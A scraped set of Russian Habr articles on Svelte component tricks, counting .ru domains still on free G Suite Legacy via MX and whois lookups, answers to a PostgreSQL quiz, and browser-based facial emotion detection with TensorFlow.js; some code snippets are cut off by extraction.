Каким приемам Svelte я научился, читайте под катом.
Статья подразумевает, что вы уже знакомы с основными концепциями Svelte. Если нет, то рекомендую сначала ознакомиться с моими предыдущими статьями:
[Полная жизнь на Svelte](https://habr.com/ru/post/458974/)
[Разрабатываем игру на Svelte 3](https://habr.com/ru/post/452684/)
Библиотека находится в фазе активной доработки. Еще не хватает некоторых компонентов, не проработаны вопросы доступности, и не все баги исправлены. Сейчас делаю проект на этом ките, чтобы в боевом режиме понять, что нужно дорабатывать в первую очередь.
Итак, чему я научился, написав библиотеку компонентов на Svelte.
1. Использование свойства class
-------------------------------
Если вы хотите добавить свойство class к параметрам своего компонента, то получите ошибку, поскольку слово является зарезервированным самим javascript.
```
export let class = '';
// !!! ошибка !!!
```
Решить эту проблему можно, используя внутреннее api Svelte. Переменная **$$props** содержит все свойства, которые переданы в компонент. В компоненте-родителе можно передать свойство class
А в самом компоненте установить класс из переменной **$$props**.
[Пример в REPL](https://svelte.dev/repl/6de3c939fcbf4c90a0309210c04e1c3a?version=3.17.2)
2. Стилизация дочерних компонентов
----------------------------------
В Svelte используется изоляция стилей. Если вы добавили класс в компоненте, то в итоге к нему добавится хеш и он будет уникальным для вашего компонента и никуда не "протечет". Но что, если нужно стилизовать дочерний компонент? Логично передать ему какой-нибудь класс и в родителе прописать стили. Решается данная задача довольно просто, с помощью директивы **:global()**
```
import Component from "./Component.svelte";
.parent :global(.childClass) {
color: red;
}
```
[Пример в REPL](https://svelte.dev/repl/765f182ddd75486a8f6cf0b3ba75f276?version=3)
При таком подходе вы все равно получите изолированный стиль, но который применяется во всей иерархии дочерних компонентов
3. Обработчики всех событий
---------------------------
Svelte компонент должен поддерживать событие, чтобы извне можно было назначить на него обработчик. Прописывать все варианты событий утомительно. Вместо этого можно написать универсальный обработчик, который будет искать обработчики событий, которые переданы в компонент, и добавлять их в наш компонент. Идею подсмотрел у [AlexxNB](https://habr.com/ru/users/alexxnb/) в его библиотеке [svelte-chota](https://github.com/AlexxNB/svelte-chota).
**Пример**
```
import { current\_component, bubble, listen } from "svelte/internal";
function getEventsAction(component) {
return node => {
const events = Object.keys(component.$$.callbacks);
const listeners = [];
events.forEach(event =>
listeners.push(listen(node, event, e => bubble(component, e)))
);
return {
destroy: () => {
listeners.forEach(listener => listener());
}
};
};
}
const events = getEventsAction(current\_component);
export let value;
```
[Пример в REPL](https://svelte.dev/repl/dbeabf42636545b3a8dc6ebe84c2d98c?version=3.17.3)
Этот способ не совсем легальный, поскольку использует внутреннее API Svelte, которое может измениться. Надеюсь, в будущем добавится поддержка директивы **on:** \* [Issue на github](https://github.com/sveltejs/svelte/issues/2837)
4. Обнаружение слотов
---------------------
Если вам нужно узнать, передано ли содержимое слота, то могу предложить вам два варианта.
### Способ первый, легальный
У слотов есть фолбек, который отображается, если содержимое не передано. Сделав биндинг фолбэка в переменную, мы сможем обнаружить наш слот.
```
let footerRef = null;
$: isFooterExists = Boolean(footerRef);
{isFooterExists ? 'Футер есть' : 'Футера нет'}
```
### Способ второй, полулегальный
Можно воспользоваться внутренним api Svelte
```
const isFooterExists = Boolean($$props.$$slots && $$props.$$slots.footer);
```
[Пример в REPL](https://svelte.dev/repl/43f870e557c74ae3aec470d08f9ea434?version=3.17.3)
5. Порталы
----------
В Svelte нет приема использования порталов, как в React, но его очень просто сделать. Для этого можно воспользоваться DOM api.
```
import { onMount } from "svelte";
let ref;
onMount(() => {
document.body.appendChild(ref);
return () => {
document.body.removeChild(ref);
};
});
content
```
На монтирование компонента мы переносим его в body, а при удалении убираем и наш портал.
Важное замечание: заверните ваш портал в div, иначе Svelte может некорректно убрать компоненты при размонтировании.
6. Анимации
-----------
В Svelte большой набор готовых анимаций, которые могут пригодиться вам в работе. Очень легко анимировать появление и исчезание компонентов. Но анимация одного блока может тормозить удаление всей страницы. Svelte будет ждать завершения анимации, прежде чем удалить компонент из дерева. Чтобы избежать этого, используйте директиву [local](https://svelte.dev/docs#transition_fn).
[Пример в туториале](https://svelte.dev/tutorial/local-transitions)
7. Именованные слоты и компоненты
---------------------------------
К сожалению, передать в именованный слот сразу компонент нельзя. [Issue на github](https://github.com/sveltejs/svelte/issues/1037)
```
```
Чтобы передать компонент в именованный слот заверните его в div или любой другой html тег.
```
```
8. Получение списка свойств компонента
--------------------------------------
Если вам нужно получить список свойств, которые экспортированы из компонента, то можно воспользоваться следующей конструкцией:
```
import Component from './Component.svelte';
const [\_, ...props] = Object.getOwnPropertyNames(Component.prototype);
{JSON.stringify(props)}
```
Идею подсмотрел у [PaulMaly](https://habr.com/ru/users/paulmaly/).
9. Двухсторонний биндинг
------------------------
После разработки на React, концепция двухсторонней привязки кажется пугающей, но это только на первый взгляд. В итоге ваше приложение будет выглядеть лаконичней и позволит избавиться от кучи обработчиков. Вы можете использовать в качестве хранилища как обычную переменную, так и store.
```
import Input from "./Input.svelte";
import { writable } from "svelte/store";
let letValue = "test let";
const storeValue = writable("test store");
```
Пример в [REPL](https://svelte.dev/repl/e6f91174592d45c78f4701b2d311b62e?version=3)
10. Редактируемый контент
-------------------------
Если вам нужно сделать контент элемента редактируемым, то можно воспользоваться директивой **contenteditable** и сделать биндинг значения в переменную.
```
let value = "Edit me";
{value}
Value: {value}
```
Пример в [REPL](https://svelte.dev/repl/457a262df7db40c9936d7cc353320bd7?version=3.18.0)
Размер компонентов
------------------
Ну и куда же без React. Держите сравнение количество строк кода компонентов на Svelte и React, которые реализованы примерно одинаково. Учитываются код и стили.

[Демо библиотеки](https://svelte-atoms.web.app/)
[Исходный код](https://gitlab.com/az67128/svelte-atoms)
Если вы нашли баг, или хотите что-то предложить, создавайте [issue](https://gitlab.com/az67128/svelte-atoms/issues)
P.S.
22 февраля 2020 года пройдет Svelte Russian Meetup #1 в Москве. Подробности и официальный анонс в телеграм группе русского сообщества Svelte: [@sveltejs](https://t.me/sveltejs)
Приглашаю всех принять участие! | https://habr.com/ru/post/473598/ | null | ru | null |
# Google отменяет бесплатный тариф G Suite Legacy. Как много сайтов в Рунете затронет такое решение и что с этим делать?

В январе Google объявила об окончательном закрытии бесплатного тарифа G Suite Legacy. Для новых пользователей free-версия была недоступна еще с 2012 года, однако каждый, кто оформил подписку до этого времени, мог продолжать пользоваться популярной облачной платформой (с 2020 года — Google Workspace) бесплатно на специальных условиях. Теперь же Google отказалась и от этого варианта: компания предлагает «ранним» пользователям перейти до 1 мая 2022 года на один из четырех платных тарифов Google Workspace, в противном случае, этот выбор произойдет автоматически.
Как одному из пользователей бесплатного тарифа G Suite Legacy мне стало интересно узнать и проанализировать объём его пользователей в российском сегменте интернета. Забегая вперед: я пришел к выводу, что количество доменов G Suite в зоне .ru может достигать 36 тысяч. О ходе моего небольшого исследования и размышлениях, как на нас повлияет решение Google, читайте под катом.
Привет, Хабр! Меня зовут Кирилл Улитин, я UX Research Lead в компании МойОфис и за развитием платформы Google увлеченно наблюдаю уже долгое время. Помимо профессиональной точки зрения, у меня есть и непосредственный интерес потребителя: с 2006 года я использовал G Suite на личном домене, как средство создания медиа-среды для своей семьи.
Узнав о прекращении поддержки бесплатного тарифа G Suite Legacy я, как большой поклонник анализа открытых данных, решил выяснить количество людей в сегменте .ru с бесплатной подпиской G Suite. Для этого воспользовался [**утечкой реестра доменов от 2017 года**](https://github.com/mandatoryprogrammer/RussiaDNSLeak). Конечно, можно было взять и актуальный список доменов, но поскольку Google закрыла бесплатный тариф в конце 2012 года, было удобнее работать с дампом, напротив, более близким к этой дате. Я исходил из предположения, что если домен зарегистрирован ранее 6 декабря 2012 года и на нем настроены mx-записи Google, то скорее всего, на нем используется бесплатный тариф.
Отдельно отмечу: ситуация с отменой бесплатного тарифа G Suite затрагивает, в основном, B2C-пользователей. Для коммерческого сегмента существуют другие решения, в том числе от компании, в которой я работаю: например, «[**МойОфис Частное Облако**](https://myoffice.ru/products/cloud/)» и «[**МойОфис Почта**](https://myoffice.ru/products/mail/)».
> *С интересом узнал, что в начале доменной зоны .ru есть наскальная текстографика религиозного толка – по всей видимости владельцы bible.ru решили увековечить свой домен, зарегистрировав около 20 доменов со странными именами. Если посмотреть на них вместе, можно увидеть слово bible.ru, написанное с помощью текстарта:*
>
> 
>
>
Также подчеркну, что мой подход к оценке — приблизительный, он не учитывает дату изменения mx-записи, поскольку эта информация недоступна. Я исхожу из допущения, что записи не менялись. Ровно как и допускаю: если домен зарегистрирован до даты закрытия бесплатного тарифа, значит, тариф на нем бесплатный, – наверняка это не всегда так, но знать об этом достоверно может только Google.
Анализ заключался в парсинге mx-записей доменов .ru из дампа c помощью пакета dnspython. В один поток в фоновом режиме за три дня я получил список из более чем 1.7 миллиона доменов.
```
import pandas as pd
df = pd.read_csv("a.dns.ripn.net.zone", skiprows=17, delimiter=",")
df.columns.values[0] = "record"
df['domain'] = df['record'].str.split('.RU.').str[0]
df['domain'] = df['domain']+'.RU.'
df['domain'].drop_duplicates().to_csv('domainlist.csv')
```
```
import pandas as pd
import dns.resolver
df_unique = pd.read_csv("domainlist.csv", skiprows=0, delimiter=",")
df_unique.columns.values[0] = "index"
df_unique.columns.values[1] = "domain"
for row in df_unique.iterrows():
domain = row[1]['domain']
try:
dnsmx = dns.resolver.resolve(domain, 'MX')
mxstr = ';'.join([str(mx) for mx in dnsmx])
with open('mxlist.csv', 'a') as file:
file.write(domain+','+mxstr+'\n')
except:
pass
```
Затем для доменов, у которых записи были установлены на сервера Google, я проверил дату регистрации с помощью пакета whois и отбросил те, что были зарегистрированы после 2012 года. Быстро это сделать не получилось: из-за лимитов whois при выполнении более 30 запросов в минуту случался кратковременный бан.
```
import pandas as pd
import whois, time
df_mx = pd.read_csv("mxlist.csv", skiprows=0, delimiter=",")
df_mx.columns.values[0] = "domain"
df_mx.columns.values[1] = "mx"
df_google = df_mx[df_mx['mx'].str.contains("google")]
for row in df_google.iterrows():
w = whois.whois(row[1]['domain'][:-1])
print(row[1]['domain'],str(w['creation_date']))
with open('mxgooglelist.csv', 'a') as file:
file.write(row[1]['domain']+','+str(w['creation_date'])+','+row[1]['mx']+'\n')
time.sleep(2)
```
Количество доменов с mx-записью Google, зарегистрированных до конца 2012 года, составило 36 тысяч.
```
import pandas as pd
import datetime
df_google_date = pd.read_csv("mxgooglelist.csv", skiprows=0, delimiter=",")
df_google_date.columns.values[0] = "domain"
df_google_date.columns.values[1] = "date"
df_google_date.columns.values[2] = "mx"
df_google_date['newmx'] = 1
df_google_date.loc[df_google_date['mx'].str.contains("googlemail"),'newmx']= 0
df_google_date['date'] = pd.to_datetime(df_google_date['date'], errors='coerce')
print(df_google_date[(df_google_date['date'].dt.date
```
Интересно, что в случае с доменами, зарегистрированными после даты завершения бесплатного тарифа, видно сокращение количества доменов с mx-записями Google: на 60%, с примерно 5000 до 2000. То есть, когда закрылась бесплатная версия в конце 2012, количество пользователей сократилось и держалось на уровне 2000 каждый последующий год. В какой-то мере это является показателем того, сколько платных пользователей есть у Google в российском сегменте.
Учитывая значительную стоимость подписки (минимум 6$ в месяц на одного пользователя) и отсутствие лимита пользователей на старте G Suite Legacy (после определенного момента появляется лимит в 10 пользователей) отмена бесплатного тарифа может серьезно повлиять на распределение облачных провайдеров. В годовом эквиваленте речь идет примерно о двух миллиардах рублей (10 пользователей в домене \* 6$ за месяц за пользователя \* 12 месяцев \* 36000 доменов). И это только .ru зона!
```
import matplotlib
matplotlib.style.use('seaborn')
ax = df_google_date.groupby(df_google_date['date'].dt.year)['newmx'].agg(['count']).plot(legend=True)
ax.set_xlim(2006,2016)
ax.set_xlabel("Год регистрации домена")
ax.set_title("Кол-во доменов с mx-записью Google на 2022 год\n")
```

В ходе анализа косвенно удалось подтвердить тот факт, что mx-записи доменов не менялись. Это видно по формату записей: ориентировочно в 2012-2014 году Google изменил формат и заменил googlemail.com на google.com в адресах. Притом что старые записи по-прежнему исправно работают. Если посмотреть на процентное соотношение доменов с новой записью по годам, то видно, что примерно с 2013 года оно начинает расти, а до этой даты остается чуть меньше 30%.
```
ax = df_google_date.groupby(df_google_date['date'].dt.year)['newmx'].agg(['mean']).plot(legend=True)
ax.set_xlim(2006,2016)
ax.set_ylim(0,1)
ax.set_title("Процентное кол-во доменов с обновленной\n mx-записью Google на 2022 год\n")
ax.set_xlabel("Год регистрации домена")
```

Таким образом мы можем предположить, что «черный лебедь» в виде прекращения поддержки бесплатной версии G Suite Legacy затронет довольно значительное число людей. И главный вопрос, который волнует пользователей: что им с этим делать?
Главная надежда — создание со стороны Google специального тарифа для частных лиц, с поддержкой не более 10 пользователей. На возможность этого намекает появление информации о тарифе в [**вопросах и ответах базы знаний**](https://support.google.com/a/answer/60217?product_name=UnuFlow&visit_id=637794890396036559-616009509&rd=1&src=supportwidget0#zippy=,what-if-i-use-g-suite-legacy-free-edition-for-personal-use-and-dont-want-to-upgrade-to-a-google-workspace-subscription).
Бесплатные альтернативы, аналогичные G Suite по набору функций, отсутствуют, поэтому остается:
* оставаться и платить 6$ за пользователя в месяц;
* переезжать на self-hosted решение на арендованных, либо своих мощностях (как вариант, использовать домашний NAS);
* рассмотреть бесплатные альтернативы с более скромными функциями.
Узнать, что из этого предпочтет аудитория, мы сможем через полгода, когда снова промониторим записи и выясним, кто какой вариант выбрал.
А сейчас прошу проголосовать в опросе ниже за самое привлекательное для вас решение. Если есть желание высказаться на эту тему подробнее, буду рад узнать ваше мнение в комментариях. | https://habr.com/ru/post/649007/ | null | ru | null |
# Разбор задач викторины Postgres Pro на PGDay'17
Хорошей традицией на постгресовых конференциях стало устраивать викторины с розыгрышем билетов на следующие конференции. Наша компания Postgres Professional на недавнем [PgDay’17](http://pgday.ru/) разыгрывала билеты на [PgConf.Russia 2018](https://pgconf.ru/), которая пройдет в феврале 2018 года в Москве. В этой статье представлен обещанный разбор вопросов викторины.
Участникам конференции были предложены следующие вопросы:
1. При выполнении на базе read-only запросов была обнаружена запись на диск. Кто (что) виноват?
-----------------------------------------------------------------------------------------------
**Варианты ответа: WAL, Hint bits, Vacuum, Russian Hackers, Еноты.**
Еноты и пылесос тоже могли работать с системой и писать на диск. Суть вопроса, конечно, именно в записи, произошедшей в результате чтения, а не случайно совпавшей с ним по времени.
Правильный ответ — Hint bits, в русской документации это “вспомогательные биты”. К сожалению, в документации мало о них говорится, но это восполнено в [Wiki](https://wiki.postgresql.org/wiki/Hint_Bits). Эти биты находятся в заголовке кортежа, и предназначены для ускорения вычисления его видимости. Они содержат информацию о том:
* создан ли кортеж транзакцией, которая уже зафиксирована,
* создан ли кортеж транзакцией, которая была прервана,
* удален ли кортеж транзакцией, которая уже зафиксирована,
* удален ли кортеж транзакцией, которая была прервана.
Значения этих битов могут быть проставлены и при операции чтения, если при определении видимости было определено значение какого-либо из них.
2. Сколько записей будет добавлено в pg\_class командой:
--------------------------------------------------------
```
CREATE TABLE t (id serial primary key, code text unique);
```
Поиск правильного ответа начнем с того факта, что в системной таблице pg\_class хранятся не только таблицы, но и индексы, последовательности, представления и некоторые другие объекты.
Поскольку мы создаем таблицу, то одна запись в pg\_class точно добавится. Итак, одна запись в pg\_class есть.
Следующий факт, который нам понадобится, заключается в том, что для реализации ограничений PRIMARY KEY и UNIQUE в PostgreSQL используются уникальные индексы.
В создаваемой таблице есть и первичный ключ (id), и уникальный (code). Значит на каждое из этих ограничений будет создано по индексу. Промежуточный итог — 3 записи.
Теперь посмотрим на тип данных serial, который используется для столбца id. В действительности, такого типа данных нет, столбец id будет создан с типом integer, а указание serial означает, что нужно создать последовательность и указать её в качестве значения по умолчанию для id. Таким образом, будет создана последовательность, а количество записей в pg\_class увеличивается до 4.
Столбец code объявлен с типом text, а этот тип может содержать очень большие значения, значительно превышающие размер страницы (обычно 8KB). Как их хранить? В PostgreSQL используется специальная технология для хранения значений большого размера — TOAST. Суть её в том, что если строка таблицы не помещается на страницу, то создается еще одна специальная toast-таблица, в которую будут записываться значения «длинных» столбцов. Для пользователя вся эта внутренняя кухня не видна, мы работаем с основной таблицей и можем даже не догадываться как там всё внутри устроено. А PostgreSQL для того чтобы быстро «склеивать» строки из двух таблиц создает еще и индекс на toast-таблицу. В итоге, наличие столбца code с типом text приводит к тому, что в pg\_class создаются еще две записи: для toast-таблицы и для индекса на неё.
Общий итог и правильный ответ: 6 записей (сама таблица, два уникальных индекса, последовательность, toast-таблица и индекс на неё).
3. Есть две таблицы:
--------------------
```
CREATE TABLE t1(x int, y int);
CREATE TABLE t2(x int not null, y int not null);
```
**В обе добавили 1 млн записей. Какая таблица займет больше места на диске и почему?
Варианты ответа были такими: Первая, вторая, займут поровну, первая займет меньше или столько же, сколько вторая, зависит от версии PostgreSQL.**
Если в первую таблицу добавили значения, не являющиеся NULL, то она будет занимать столько же места, сколько и вторая. Если же в нее добавили NULL’ы, она будет занимать меньше места.
Это так вследствие особенностей хранения NULL-ов (вернее, не-хранения: они не хранятся, вместо них в заголовке записи проставляются специальные биты, указывающие на то, что значение соответствующего поля — NULL). Подробнее об этом можно узнать из из [документации](https://postgrespro.ru/docs/postgrespro/9.6/storage-page-layout) и доклада Николая Шаплова [Что у него внутри](https://pgconf.ru/2016/90059).
Кстати, если в таблице t1 только одно из двух полей будет NULL, t1 займет столько же места, сколько и t2. Хотя NULL не занимает места, действует выравнивание, и поэтому в целом на занимаемый записями объем это не влияет. Выравнивание еще встретится нам в задаче №4.
Дотошный читатель возразит: «ну хорошо, сами NULL’ы не хранятся, но где-то же должна храниться та самая битовая строка t\_bits, где по биту отводится на каждое поле, способное принимать значение NULL! Она не нужна для таблицы t2, но нужна для t1. Поэтому t1 может занять и больше места, чем t2».
Но дотошный читатель забыл про выравнивание. Заголовок записи без t\_bits занимает ровно 23 байта. А под t\_bits будет в t1 выделен один байт заголовка записи; а в случае t2 он будет съеден выравниванием.
Если у Вас установлено расширение [pageinspect](https://postgrespro.ru/docs/postgresql/9.6/pageinspect), можно заглянуть в заголовок записи, и, справляясь с документацией, увидеть разницу:
```
SELECT * FROM heap_page_items(get_raw_page('t1', 0)) limit 1;
SELECT * FROM heap_page_items(get_raw_page('t2', 0)) limit 1;
```
4. Есть таблица:
----------------
```
CREATE TABLE test(i1 int, b1 bigint, i2 int);
```
**Можно ли переписать определение так, чтобы ее записи занимали меньше места на диске и если да, то как? Предложите Ваш вариант.**
Тут все просто, дело в выравнивании. Если у вас 64-разрядная архитектура, то поля в записи, имеющие длину 8 байт и более, будут выровнены по 8 байт. Так процессор умеет быстрее читать их из памяти. Поэтому 4-байтные int нужно складывать рядом, тогда они будут занимать вместе 8 байт.
На 32-разрядной архитектуре разницы нет. О внутреннем устройстве записей можно узнать из [документации](https://postgrespro.ru/docs/postgrespro/9.6/storage-page-layout) и уже упоминавшегося доклада Николая Шаплова [Что у него внутри](https://pgconf.ru/2016/90059).
5. Какой тип занимает больше места на диске: timetz или timestamptz?
--------------------------------------------------------------------
[Результат](https://postgrespro.ru/docs/postgresql/9.6/datatype-datetime) неожиданный: timetz занимает больше места (12 байт), чем timestamptz (8 байт),
почему же так? Это историческое наследие. И никто не собирается от него избавиться? См. [ответ Тома Лэйна](https://postgrespro.ru/list/id/[email protected]). Кстати, если кому нибудь действительно понадобилось timetz (time with time zone) на практике, напишите нам об этом.
6. Как можно проверить консистентность БД для того, чтобы убедиться, что часть данных в БД не потеряна?
-------------------------------------------------------------------------------------------------------
Ответ простой: в PostgreSQL пока такого средства нет. [Чексуммы](https://postgrespro.ru/docs/postgresql/9.6/wal-reliability) есть во многих местах, но защищают не всё. Поэтому ответы типа “задампить и сравнить” мы вынуждены были считать правильными. В Postgres Pro ведется работа над улучшением самоконтроля целостности.
7. Какое из условий ниже истинно и почему?
------------------------------------------
```
(10,20)>(20,10)
array[20,20]>array[20,10]
```
Сравнение строк производится [слева направо](https://postgrespro.ru/docs/postgresql/9.6/functions-comparisons), поэтому первое выражение ложно.
Сравнение массивов [производится также](https://postgrespro.ru/docs/postgresql/9.6/functions-array), поэтому второе — истино.
8. Действие каких подсистем выключает настройка track\_counts = off?
--------------------------------------------------------------------
**Варианты ответа: Statistics Collector, Checkpointer, WAL archiving, Autovacuum, Bgwriter, Ни одна из перечисленных**
В [документации сказано](https://postgrespro.ru/docs/postgresql/9.6/runtime-config-statistics), что track\_counts включает [сбор статистики доступа](https://postgrespro.ru/docs/postgresql/9.6/monitoring-stats) к таблицам и индексам, которая нужна, в том числе, для автовакуума. С помощью этой статистики автоваккум решает, за какие таблицы ему браться. Подробности можно почитать в [комментариях к исходникам автовакуума](https://github.com/postgres/postgres/blob/master/src/backend/postmaster/autovacuum.c).
Конечно, архивирование WAL, Bgwriter и checkpointer с этим параметром не связаны.
9. Каков будет результат запроса
--------------------------------
```
select NULL IS NULL IS NULL ?
```
Это, наверное, самый простой вопрос. Ответ False, т.к. NULL — это NULL, и всё это истина.
10. С какими типами индексов не работает команда
------------------------------------------------
```
CLUSTER [VERBOSE] table_name [ USING index_name ]
```
**и почему?**
Команда [CLUSTER](https://postgrespro.ru/docs/postgresql/9.6/sql-cluster) упорядочивает таблицу в соответствие с некоторым индексом. Некоторые индексы могут задавать порядок, а некоторые — нет.
Если у Вас Postgres версии < 9.6, ответ можно узнать с помощью команды
```
select amname from pg_am where amclusterable ;
```
В Postgres 9.6+ системную таблицу pg\_am сильно урезали, и для конкретного индекса можно узнать его пригодность для кластеризации с помощью функции pg\_index\_has\_property:
```
select pg_index_has_property('index name or oid', 'clusterable');
```
Подробнее об этой функции и её сестрах можно почитать в статье Егора Рогова [«Индексы в PostgreSQL, ч.2»](https://habrahabr.ru/company/postgrespro/blog/326106).
Если Вам повезло и Postgres < 9.6, эта команда выдаст два ответа — ожидаемый btree и не очень ожидаемый GiST. Казалось бы, какой порядок задает GIST-индекс? Раскроем страшную тайну — CLUSTER просто перестраивает таблицу, обходя ее в порядке обхода индекса. Для GiST порядок не столь определен, как для B-Tree, и зависит от порядка, в котором записи помещались в таблицу. Тем не менее, этот порядок есть, и есть сообщения, что [кластеризация по GIST](https://gis.stackexchange.com/questions/240721/postgis-performance-increase-with-cluster) в отдельных случаях помогает.
При использовании пространственных индексов, например, она означает, что геометрически близкие объекты будут находится, скорее всего, ближе друг другу и в таблице.
11. Пусть настроена синхронная репликация и на мастере synchronous\_commit = on.
--------------------------------------------------------------------------------
**При каком значении этой же опции на реплике задержка при выполнении COMMIT на мастере будет меньше, и почему?**
synchronous\_commit = on на мастере означает, что мастер будет считать COMMIT завершенным только после получения сообщения от реплики об успешной записи соответствующей части WAL’a на диск (ну, или о её застревании в буфере ОС, если у вас стоит fsync = off, но так делать не стоит, если данные представляют хоть какую-то ценность). Хитрость же в том, что момент, когда WAL сбрасывается на диск, определяется локальным значением synchronous\_commit, то есть его значением на реплике.
Если на реплике synchronous\_commit = off, запись произойдет не сразу, а когда WAL writer процесс сочтёт нужным ее выполнить; если точнее, он занимается этим раз в wal\_writer\_delay миллисекунд, но при большой нагрузке на систему сбрасываются только целиком сформированные страницы, так что в итоге максимальный промежуток времени между формированием WAL записи и ее записью на диск при асинхронном коммите получается 3 \* wal\_writer\_delay. Все это время мастер будет терпеливо ждать, он не может объявить транзакцию завершенной до окончания записи.
Если же на реплике synchronous\_commit имеет более высокое значение (хотя бы local), она сразу попытается записать WAL на диск, и поэтому задержка всего COMMIT потенциально будет меньше. Впрочем, и запись синхронного коммита можно отложить с помощью commit\_delay, но это уже совсем другая история. Из этого всего следует неочевидный сходу вывод: выключенный synchronous\_commit, который, казалось бы, должен уменьшать задержку COMMIT, в описанной схеме с репликацией ее увеличивает.
Подробнее об этом можно почитать в [архиве списков рассылки](https://postgrespro.ru/list/id/7fb9fc7c-72f7-f9ef-3896-9cc7e4fd13b0%402ndquadrant.com) и в документации:
[Надёжность и журнал упреждающей записи](https://postgrespro.ru/docs/postgrespro/9.6/wal-async-commit), [synchronous\_commit](https://postgrespro.ru/docs/postgrespro/9.6/runtime-config-wal.html#guc-synchronous-commit).
12. Что даст запрос:
--------------------
```
select #array[1,2,3] - #array[2,3]
```
Чтобы ответить на этот вопрос, надо знать, как PostgreSQL работает с массивами. Унарный оператор “#”, определенный в расширении [intarray](https://postgrespro.ru/docs/postgresql/9.6/intarray) вычисляет длину массива. При этом напрашивается ответ: в первом массиве три элемента, во втором — два. Казалось бы — ответом будет число 1! Но нет, если выполнить этот запрос, ответом будет ДВА. Откуда?
Важно учитывать также приоритет операторов (он намертво пришит к синтаксису и для пользовательских операторов это ведет часто к неочевидной семантике). У унарного # приоритет ниже, чем у оператора вычитания. Поэтому правильно запрос читается так:
```
select #( array[1,2,3] - #(array[2,3]))
```
Это означает, что из массива [1,2,3] “вычитается” число 2, остается массив [1,3], и в конце вычисляется длина этого массива. ДВА. Почти всем.
Ближе к концу викторины надо активизировать чувство юмора.
13. Сколько записей будет добавлено в pg\_class командой:
---------------------------------------------------------
```
CREATE TABLE t (id serial primary key, code text unique);
```
Этот вопрос “случайно” повторяет вопрос №2. См. также следующий вопрос. Надо заметить, что ответ на 13-й вопрос, тем не менее, не должен повторять ответа на 2-й вопрос :) Это заметил всего лишь один из участников. Ведь таблица t уже создана в вопросе №2. Повторная команда не создаст ни одной записи в БД. (см также [Задачи, расположенные по цепочке](http://kvant.mccme.ru/1987/10/p58.htm), Квант №10, 1987 )
14. Что использовалось при составлении данного теста: UNION или UNION ALL?
--------------------------------------------------------------------------
История этого вопроса такова. Случайно, в процессе подготовки викторины, в ней два раза был напечатан один и тот же вопрос. Увидев это, Иван Фролков пошутил “надо было использовать UNION, а не UNION ALL”. Шутка понравилась “товарищу полковнику” ( [www.anekdot.ru/id/-10077921](https://www.anekdot.ru/id/-10077921/) ), и викторина была пополнена 14-м вопросом.
Благодарности
-------------
В составлении викторины участвовали:
Алексей Шишкин, Алексей Игнатов, Арсений Шер, Анастасия Лубенникова, Александр Алексеев, Иван Панченко, Иван Фролков.
За 12-й вопрос мы благодарны Николаю Шуляковскому из mail.ru.
Победители викторины получили промокоды, которые они могут ввести вместо оплаты участия в [PgConf.Russia 2018](https://pgconf.ru). | https://habr.com/ru/post/334386/ | null | ru | null |
# Обнаружение эмоций на лице в реальном времени с помощью веб-камеры в браузере с использованием TensorFlow.js. Часть 3
Мы уже научились использовать искусственный интеллект (ИИ) в веб-браузере для отслеживания лиц в реальном времени и применять глубокое обучение для обнаружения и классификации эмоций на лице. Итак, мы собрали эти два компонента вместе и хотим узнать, сможем ли мы в реальном времени обнаруживать эмоции с помощью веб-камеры. В этой статье мы, используя транслируемое с веб-камеры видео нашего лица, узнаем, сможет ли модель реагировать на выражение лица в реальном времени.
---
Вы можете загрузить демоверсию этого проекта. Для обеспечения необходимой производительности может потребоваться включить в веб-браузере поддержку интерфейса WebGL. Вы также можете загрузить [код и файлы](https://disk.yandex.ru/d/s9IFqR2ErW9Vng) для этой серии. Предполагается, что вы знакомы с JavaScript и HTML и имеете хотя бы базовое представление о нейронных сетях.
### Добавление обнаружения эмоций на лице
В этом проекте мы протестируем нашу обученную модель обнаружения эмоций на лице на видео, транслируемом с веб-камеры. Мы начнём со стартового шаблона с окончательным кодом из проекта отслеживания лиц и внесём в него части кода для обнаружения эмоций на лице.
Давайте загрузим и применим нашу предварительно обученную модель выражений на лице. Начала мы определим некоторые глобальные переменные для обнаружения эмоций, как мы делали раньше:
```
const emotions = [ "angry", "disgust", "fear", "happy", "neutral", "sad", "surprise" ];
let emotionModel = null;
```
Затем мы можем загрузить модель обнаружения эмоций внутри блока async:
```
(async () => {
...
// Load Face Landmarks Detection
model = await faceLandmarksDetection.load(
faceLandmarksDetection.SupportedPackages.mediapipeFacemesh
);
// Load Emotion Detection
emotionModel = await tf.loadLayersModel( 'web/model/facemo.json' );
...
})();
```
А для модельного прогнозирования по ключевым точкам лица мы можем добавить служебную функцию:
```
async function predictEmotion( points ) {
let result = tf.tidy( () => {
const xs = tf.stack( [ tf.tensor1d( points ) ] );
return emotionModel.predict( xs );
});
let prediction = await result.data();
result.dispose();
// Get the index of the maximum value
let id = prediction.indexOf( Math.max( ...prediction ) );
return emotions[ id ];
}
```
Наконец, нам нужно получить ключевые точки лица от модуля обнаружения внутри функции `trackFace` и передать их модулю прогнозирования эмоций.
```
async function trackFace() {
...
let points = null;
faces.forEach( face => {
...
// Add just the nose, cheeks, eyes, eyebrows & mouth
const features = [
"noseTip",
"leftCheek",
"rightCheek",
"leftEyeLower1", "leftEyeUpper1",
"rightEyeLower1", "rightEyeUpper1",
"leftEyebrowLower", //"leftEyebrowUpper",
"rightEyebrowLower", //"rightEyebrowUpper",
"lipsLowerInner", //"lipsLowerOuter",
"lipsUpperInner", //"lipsUpperOuter",
];
points = [];
features.forEach( feature => {
face.annotations[ feature ].forEach( x => {
points.push( ( x[ 0 ] - x1 ) / bWidth );
points.push( ( x[ 1 ] - y1 ) / bHeight );
});
});
});
if( points ) {
let emotion = await predictEmotion( points );
setText( `Detected: ${emotion}` );
}
else {
setText( "No Face" );
}
requestAnimationFrame( trackFace );
}
```
Это всё, что нужно для достижения нужной цели. Теперь, когда вы открываете веб-страницу, она должна обнаружить ваше лицо и распознать эмоции. Экспериментируйте и получайте удовольствие!
Вот полный код, нужный для завершения этого проекта
```
Real-Time Facial Emotion Detection
Loading...
==========
function setText( text ) {
document.getElementById( "status" ).innerText = text;
}
function drawLine( ctx, x1, y1, x2, y2 ) {
ctx.beginPath();
ctx.moveTo( x1, y1 );
ctx.lineTo( x2, y2 );
ctx.stroke();
}
async function setupWebcam() {
return new Promise( ( resolve, reject ) => {
const webcamElement = document.getElementById( "webcam" );
const navigatorAny = navigator;
navigator.getUserMedia = navigator.getUserMedia ||
navigatorAny.webkitGetUserMedia || navigatorAny.mozGetUserMedia ||
navigatorAny.msGetUserMedia;
if( navigator.getUserMedia ) {
navigator.getUserMedia( { video: true },
stream => {
webcamElement.srcObject = stream;
